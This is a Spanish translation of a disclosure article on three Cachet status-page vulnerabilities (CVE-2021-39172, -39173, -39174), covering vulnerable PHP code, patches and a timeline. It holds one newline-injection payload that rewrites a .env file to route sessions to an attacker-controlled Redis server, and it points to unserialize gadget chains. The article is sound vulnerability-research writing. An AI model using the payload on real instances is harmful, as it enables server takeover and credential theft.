Las páginas de estado ahora son un servicio esencial ofrecido por todas las empresas de Software-as-a-Service. Para facilitar su adopción, las startups rápidamente concibieron páginas de estado como un servicio y se hicieron disponibles alternativas de código abierto y autoalojadas. Cachet, también a veces referido como CachetHQ, es un sistema de página de estado ampliamente adoptado escrito en PHP y tiene muchos forks comunitarios, como fiveai/Cachet.
Comprometer instancias de Cachet es gratificante para los atacantes, ya que almacenan secretos para varios servicios como cachés, servidores de bases de datos, servidores de correo electrónico, etc. Esta posición inicial en la infraestructura es útil para que pivoten hacia la red interna de la empresa afectada y realicen ataques adicionales. En este artículo, presento el análisis técnico de tres errores de seguridad que mi equipo y yo descubrimos en Cachet 2.4. Pueden permitir que los atacantes comprometan el servidor.
Impacto
La explotación de estas vulnerabilidades se verificó en la última versión oficial de Cachet en ese momento (2.3.18), así como en la rama de desarrollo (2.4). Un atacante que aspire a explotar estas vulnerabilidades requiere una cuenta de usuario válida con privilegios básicos, un escenario que puede ser utilizado de manera realista por:
- Usando la inserción de credenciales gracias a la gran cantidad de cuentas filtradas cada año.
- A compromised or malicious user.
- La presencia de una vulnerabilidad de inyección de código en la misma perímetro.
- La explotación de CVE-2021-39165, una inyección SQL preautenticada en Cachet fijada en enero de 2021.
Vulnerabilidad 1: CVE-2021-39172
La primera vulnerabilidad (CVE-2021-39172) que describo es una inyección de nueva línea que ocurre cuando los usuarios actualizan la configuración de una instancia, como la configuración de correo electrónico. Permite a los atacantes inyectar nuevas directivas y alterar el comportamiento de las características principales, lo que lleva a la ejecución de código arbitrario.
El siguiente video muestra la explotación de esta vulnerabilidad. A modo de demostración, se realizan varios pasos manualmente, pero podrían automatizarse por parte de los atacantes:
Fuente: Sonar YouTube
Vulnerabilidad 2: CVE-2021-39174
El segundo (CVE-2021-39174) también está relacionado con esta función y permite al atacante exfiltrar secretos almacenados en el archivo de configuración, como la contraseña del servidor SMTP, la clave de cifrado de la aplicación, etc.
Vulnerabilidad 3: CVE-2021-39173
Por último, el último error (CVE-2021-39173) es mucho más simple y permite realizar el proceso de configuración incluso si la instancia ya está completamente configurada. De esta manera, los atacantes pueden engañar a la instancia de Cachet para que utilice una base de datos arbitraria bajo su control, lo que finalmente conduce a la ejecución de código arbitrario.
Los parches para estas tres vulnerabilidades están disponibles en la versión 2.5.1 del fork de FiveAI.
Detalles Técnicos
En esta sección, describo los detalles técnicos de cada vulnerabilidad y la forma en que fueron mitigadas en la última versión del fork de la comunidad.
CVE-2021-39172: Ejecución de Código Remoto
El panel de Cachet expone varias vistas de configuración (incluso a usuarios no administradores) para cambiar el nombre de la instancia, la configuración del servidor de correo, etc. Las configuraciones persistentes a nivel de aplicación se guardan en la base de datos, y otros valores a nivel de framework se guardan directamente en el archivo de configuración de la aplicación. El framework Laravel utiliza archivos de configuración dotenv, un formato similar a cómo declararías variables de entorno en un script de shell. Su soporte está implementado en la biblioteca de terceros aquí.
Al cambiar la configuración del proveedor de correo electrónico, el controlador instancia un objeto de la clase UpdateConfigCommand
. Las órdenes de Laravel, en el contexto del bus de comandos, son una forma de eliminar la lógica específica de la aplicación de los controladores; se ejecutarán de manera sincrónica al realizar una llamada a execute()
en el objeto. Esto es lo que sucede en [1]
:
app/Http/Controllers/Dashboard/SettingsController.php
:
<?php
public function postMail()
{
$config = Binput::get('config');
execute(new UpdateConfigCommand($config)); // [1]
return cachet_redirect('dashboard.settings.mail')
->withInput(Binput::all())
->withSuccess(trans('dashboard.notifications.awesome'));
}
El controlador asociado UpdateConfigCommandHandler
se encarga de realizar cambios en el archivo dotenv existente reemplazando las entradas existentes con nuevas.
UpdateConfigCommandHandler
puede ser activado por código en dos ubicaciones diferentes:
SetupController@postStep3
: el último paso del proceso de configuración. Una vez instalada la instancia, este camino de código ya no puede ser alcanzado;SettingsController@postMail
: al actualizar las entradas dotenv relacionadas con servidores de correo.
Primero evaluará el archivo de configuración completo para poblar el entorno del proceso ([1]
), identificar si la directiva a actualizar ya está definida ([2]
), y reemplazar la entrada con su nuevo valor ([3]
):
app/Bus/Handlers/Commands/System/Config/UpdateConfigCommandHandler.php
:
<?php
class UpdateConfigCommandHandler
{
// [...]
public function handle(UpdateConfigCommand $command)
{
foreach ($command->values as $setting => $value) {
$this->writeEnv($setting, $value);
}
}
// [...]
protected function writeEnv($key, $value)
{
$dir = app()->environmentPath();
$file = app()->environmentFile();
$path = "{$dir}/{$file}";
try {
(new Dotenv($dir, $file))->load(); // [1]
$envKey = strtoupper($key);
$envValue = env($envKey) ?: 'null'; // [2]
file_put_contents($path, str_replace( // [3]
"{$envKey}={$envValue}",
"{$envKey}={$value}",
file_get_contents($path)
));
} catch (InvalidPathException $e) {
throw $e;
}
}
}
No se realiza validación en los datos entrantes: siempre que la entrada de configuración ya exista, será reemplazada por un valor proveniente del parámetro. Si un atacante proporciona un valor que contiene nuevas líneas, creará nuevas entradas en el archivo dotenv y podría alterar funcionalidades a nivel de framework.
Nota: solo se utilizará la primera definición de una variable en un archivo dotenv; las subsiguientes serán ignoradas.
En proyectos Laravel, esta primitiva es suficiente para obtener ejecución arbitraria de código. La configuración inicial dotenv del archivo probablemente se verá así en la mayoría de las instancias:
.env
:
APP_ENV=production
[...]
DEBUGBAR_ENABLED=false
DB_DRIVER=sqlite
[...]
DB_PREFIX=
CACHE_DRIVER=file
SESSION_DRIVER=file
QUEUE_DRIVER=array
MAIL_DRIVER=smtp
MAIL_HOST=foo
[...]
REDIS_HOST=null
REDIS_DATABASE=null
REDIS_PORT=null
Los atacantes podrían reemplazar la clave CACHE_DRIVER
y registrar un servidor Redis bajo su control como nuevo backend de sesión:
file\nREDIS_HOST=some.remote.server\nREDIS_DATABASE=0\nREDIS_PORT=6379\nSESSION_DRIVER=redis
Después de enviar una solicitud que establece CACHE_DRIVER
a este valor, el archivo dotenv se verá así:
.env
:
APP_ENV=production
APP_DEBUG=false
APP_URL=http://cachet.internal
APP_TIMEZONE=UTC
// [...]
CACHE_DRIVER=file
REDIS_HOST=some.remote.server
REDIS_DATABASE=0
REDIS_PORT=6379
SESSION_DRIVER=redis
SESSION_DRIVER=file
QUEUE_DRIVER=null
// [...]
Dado que las sesiones de Laravel se serializan utilizando el formato nativo de PHP, se analizan con la función unserialize()
. Esta es una debilidad conocida que puede aprovecharse para la ejecución de código arbitrario mediante una secuencia de objetos especialmente diseñados, un concepto llamado “cadenas pop”. La herramienta PHPGGC puede generar tales cadenas para proyectos de Laravel.
Pueden existir otras formas de aprovechar la ejecución de comandos desde una inyección de nueva línea en un archivo dotenv, pero no profundizamos más en esta dirección de investigación. Mi equipo y yo tenemos curiosidad por saber si conoces otras técnicas, ¡aunque!
CVE-2021-39174: Fuga de configuración
Como describí en la sección anterior, uno puede tener control directo de lectura y escritura sobre los valores almacenados en el archivo dotenv. Escribir en este archivo finalmente conduce a la ejecución de código arbitrario, pero ¿puede también ser aprovechado por el hecho de que los valores de este archivo se muestran en la interfaz?
La documentación de vlucas/phpdotenv
describe que soporta asignación de variables anidadas: al declarar una variable, puedes hacer referencia a una previamente declarada con la sintaxis ${NAME}
.
Esta característica es conveniente: al hacer referencia a otra variable en una entrada del archivo de configuración dotenv y mostrar esta entrada en la interfaz, revela el valor de otra variable.
Ya está ampliamente documentada la fuga de APP_KEY
que conduce a ejecución de código si el driver de sesión está configurado en cookie, y esta primitiva también puede usarse para filtrar DB_PASSWORD
y MAIL_PASSWORD
para realizar ataques adicionales.
CVE-2021-39173: Reinstalación Forzada
La página de configuración no puede ser accedida si la instancia ya está instalada, como se implementa en el middleware. SetupAlreadyCompleted
:
app/Http/Middleware/SetupAlreadyCompleted.php
:
settings->get('app_name')) {
return cachet_redirect('dashboard');
}
} catch (ReadException $e) {
// ¡no está configurado entonces!
}
return $next($request);
}
}
La verificación se basa únicamente en el valor de la configuración: si no está definido o está vacío, el middleware considerará que la instancia está instalada.
En caso de que te estés preguntando qué más puede evaluar como falso, aquí tienes un breve resumen del sistema de tipos de PHP durante las comparaciones hasta PHP 8. Las comparaciones se pueden realizar utilizando una verificación de igualdad (==) o una verificación de identidad (===). Las verificaciones de igualdad implican que no se tiene en cuenta el tipo de los operandos, y las cadenas se pueden convertir en números previamente. Este comportamiento se ha denominado “juggling de tipos” y se ha explotado en varias vulnerabilidades de la vida real (CVE-2017-1001000, CVE-2019-10231). En el caso de la comparación anterior, cualquier valor igual a una cadena vacía o “0” evaluará false
y permitirá el acceso a las páginas de configuración.
El valor de app_name
no se valida durante la actualización de la configuración en SettingsController@postSettings
, en [1]
:
app/Http/Controllers/Dashboard/SettingsController.php
:
<?php
class SettingsController extends Controller
{
// [...]
public function postSettings()
{
$setting = app(Repository::class);
// [...]
$parameters = Binput::all();
// [...]
$excludedParams = [
'_token',
'app_banner',
'remove_banner',
'header',
'footer',
'stylesheet',
];
try {
foreach (Binput::except($excludedParams) as $settingName =>
$settingValue) {
if ($settingName === 'app_analytics_pi_url') {
$settingValue = rtrim($settingValue, '/');
}
$setting->set($settingName, $settingValue); // <-- [1]
// [...]
Por lo tanto, un usuario autenticado puede actualizarlo a un valor que evalúe como falso y luego acceder/configurar nuevamente para reinstalar la instancia con una nueva cuenta de administrador (elevación de privilegios) o explotar nuestra primera detección y obtener ejecución de código (recuerda, UpdateConfigCommandHandler
también puede ser explotado desde este camino de código).
Parche
La vulnerabilidad de inyección de nueva línea (CVE-2021-39172) fue abordada mejorando la validación de los valores entrantes en UpdateConfigCommandHandler
, rechazando cualquier modificación que contenga caracteres de nueva línea.
El error de filtración de configuración (CVE-2021-39174) fue más complejo de corregir, ya que no se pudo importar la última versión de la biblioteca dotenv debido a las dependencias existentes. En su lugar, se trasladó el código relevante para permitir que el controlador de comandos identifique si un valor contiene una variable anidada.
Finalmente, no es posible forzar una reinstalación de instancias existentes (CVE-2021-39173) gracias a mejores verificaciones en el middleware afectado.
Cronograma
DATE | ACTION |
2021-03-26 | Issues reported by email to the official security disclosure address of the upstream project. |
2021-06-25 | We send the security issues and patches to the community-supported fork (fiveai/Cachet). |
2021-08-27 | Release 2.5.1 of the FiveAI fork is published, with fixes for CVE-2021-39172, CVE-2021-39173, and CVE-2021-39174. |
Resumen
En este artículo, analicé tres vulnerabilidades en Cachet y demostré la capacidad de apoderarse de instancias con solo permisos de usuario básicos utilizando archivos de configuración de Laravel. También describí los parches aplicados por los mantenedores y cómo previenen los ataques que presenté.
Finalmente, mi equipo y yo queremos agradecer a los mantenedores del fork de FiveAI de Cachet por reconocer nuestro aviso y corregir estas vulnerabilidades de manera oportuna y profesional.
Source:
https://dzone.com/articles/cachet-two-four-code-execution-via-laravel-configuration-injection